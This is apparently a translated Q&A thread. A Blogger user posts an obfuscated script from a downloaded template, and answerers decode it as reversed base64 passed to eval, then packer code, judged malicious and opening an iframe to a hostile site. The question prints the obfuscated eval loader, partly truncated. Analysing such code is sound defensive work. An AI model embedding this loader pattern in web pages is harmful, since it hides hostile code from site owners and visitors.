我有下面的脚本,我不知道是不是要开始搜索,因为我不熟悉代码。
该代码包含在我的博客blogger.com上
具体来说,它来自我下载的模板。
我想修改那段代码,因为它注入了一些文字,我很好奇他们是如何做到的。
它的作用是,当我删除id =“someID”的元素时,他们会将我的页面重定向到他们的网站。
注意:我删除了中间部分的一些脚本,因为它太长而且无法通过此站点处理。
更新:我删除了var I1I的中间值
这是完整的脚本http://jsfiddle.net/0xmz6cf6/
<script>//<![CDATA[
var I1I='=oQKpkyJ8dCK0lGbwNnLnQHelRnMywncn1WaBBDfkxWaoNEZuVGcwFGfwIzMyIDfwRHdoJjM8RHanlWZoBjM89GUK1GcxYTTwt0c8hGdkl2dwIDfnBna8BDMyIjM8VGbiFGbpFmdh91YpB3Xv5GfwE0M8RHanlmc8BDM2Ezc85WanJXYtJjM8xGbh12cflXYsB3XyVmdvhmMywHZs9mQhFEM8R3cvBVeyFWbtV3cBBDfr9GfzR3cvBnclRWasNHMyw3ZtlUbvRmbhJ1dvh2cBBDfkFWZoxXZtFmTnFGV5J0c05WZtVGbFRXZnx3drhGUwJlQ0w0bax3YyNHdldGflxWe0NHMywXQDFUQBFUQBFUQBx3bm5Wa8NmczxHc0RHa8Rnbl1WZsVUZ0FWZyNGfmVmc8l0Z28FNwVnb3ZTV8lGchlnclVXcqxXbvNGfMJVV8JXZkFWZoN0M8xWZiFGbjRnMywHNoN0M8R2Q1wnclRmcvJGMywnclJnclZWZyxHbyVHfyVGZhVGa8J3ZtlWRzwnbp9ma8Fzc0N3bwxWZiFGbwIDf0h2ZpJHMywHM1EDMywHdz9GctVnbwIDf5JXYk52bjV2cyIDf1MHdz9GcsVmYhxGMywHdwJXZjhXZ8BzNwIDfy9GbvNmMywnbpdmch1GMywHdmVGb8Rzc0N3bwxWZiFGbwIDf4BXNwIDfuJXd0VmcwIDf4JHdzBjM8hnc0NHOywXMzR3cvBXb15WQwwHbvNGMywHdz9GctVnbBBDfwUDMywHdvB3cn9GbixHdwlmcjN3QzwXZsTY8MGK4I2epMGK3IWPltXKkxSZssGLjxSYsAHK3IGKqJ2Jo0Hcg4mc1RXZy1Xfp01YbtGLpcyZnwyJixFXnsSKjhSZrciYcx1JoAHeFdWZSBydl5GKlNWYsBXZy5Cc9A3ep01YbtGKml2ep0SLjhSZslGa3tTfpkiNzgyZulmc0N1b05yY6kSOysyYoUGZvNkchh2Qt9mcm5yZulmc0N1P1MjPpEWJj1zYogyKpkSKh9yYoQnbJV2cyFGcoUmOncyPhxzYo4mc1RXZytXKjhibvlGdj5Wdm1TZ7lCZsUGLrxyYsEGLwhibvlGdj5WdmhCbhZXZ';
function _0lO(data) {
var _10OlOI = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
enc = '';
do {
h1 = _10OlOI.indexOf(data.charAt(i++));
h2 = _10OlOI.indexOf(data.charAt(i++));
h3 = _10OlOI.indexOf(data.charAt(i++));
h4 = _10OlOI.indexOf(data.charAt(i++));
bits = h1 << 18 | h2 << 12 | h3 << 6 | h4;
o1 = bits >> 16 & 0xff;
o2 = bits >> 8 & 0xff;
o3 = bits & 0xff;
if (h3 == 64) {
enc += String.fromCharCode(o1)
} else if (h4 == 64) {
enc += String.fromCharCode(o1, o2)
} else {
enc += String.fromCharCode(o1, o2, o3)
}
} while (i < data.length);
return enc
}
function _10O(string) {
var ret = '',
i = 0;
for (i = string.length - 1; i >= 0; i--) {
ret += string.charAt(i);
}
return ret;
}
eval(_0lO(_10O(I1I)));
//]]>
</script>
答案 0 :(得分:2)
它本身不是'编码语言':它只是尝试obfuscate the code在页面上执行。它实际上是(至少)双重编码的。 )
第一阶段很容易打开:只需用eval(_0lO(_10O(I1I)))
替换console.log(_0lO(_10O(I1I)))
- 你就可以在控制台中找到源代码。我准备了a simple demo,但显然不会显示整个代码(因为你删除了编码文本的某些部分)。
然而,你得到的代码不是代码 - 这是packer
处理原始资源的结果,我提到的第二阶段。这里的the question更详细地讨论了这个问题。最重要的是,有一个useful site 允许您解压缩代码。
答案 1 :(得分:2)
您所拥有的代码是base64编码的数据,这些数据已经从前向后反转。
在这一行:
eval(_0lO(_10O(I1I)));
_10O(I1I)
撤消I1I
,使其顺序正确。_0lO()
将从base64解码为数据(在本例中是包含混淆JavaScript的常规字符串值)。eval()
(已知是邪恶的,BTW)将解码后的文本评估为JavaScript。要找出那里的脚本,只需用以下代码替换上面的行:
console.log(_0lO(_10O(I1I)));
至于修改它,我会说只需要解码后的代码,修改它,然后将它放回到你的网站上,而不会有任何人可以破解的愚蠢编码。
答案 2 :(得分:1)
所以,我深入挖掘一下,这就是我发现的:
function _10O(string) {
var ret = '',
i = 0;
for (i = string.length - 1; i >= 0; i--) {
ret += string.charAt(i);
}
return ret;
}
此函数不会镜像给定的字符串。因此,ABC
将是CBA
。它用于将给定的var I1I
(实际镜像的base64)镜像到base64。然后它由_0lO
函数进行base64解码。
此操作_0lO(_10O(I1I)
的输出应该类似于:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){............ // I have stripped that here to not include any malicious code inside Stack Overflow!
这仍然是一个混淆的字符串,但它将由脚本中的eval
执行。
查看有关恶意脚本的this site,我在其中通过使用Google搜索功能查找脚本的部分解码内容来查找脚本的实际内容。
因此,我们假设:这是一个恶意的,混淆的和base64编码的脚本,用于向恶意网站开放<iframe>
。
注意:在我的计算机上运行此操作会受到防病毒弹出窗口的影响,因此请小心。我已将代码删除,不包括整个恶意eval
内容。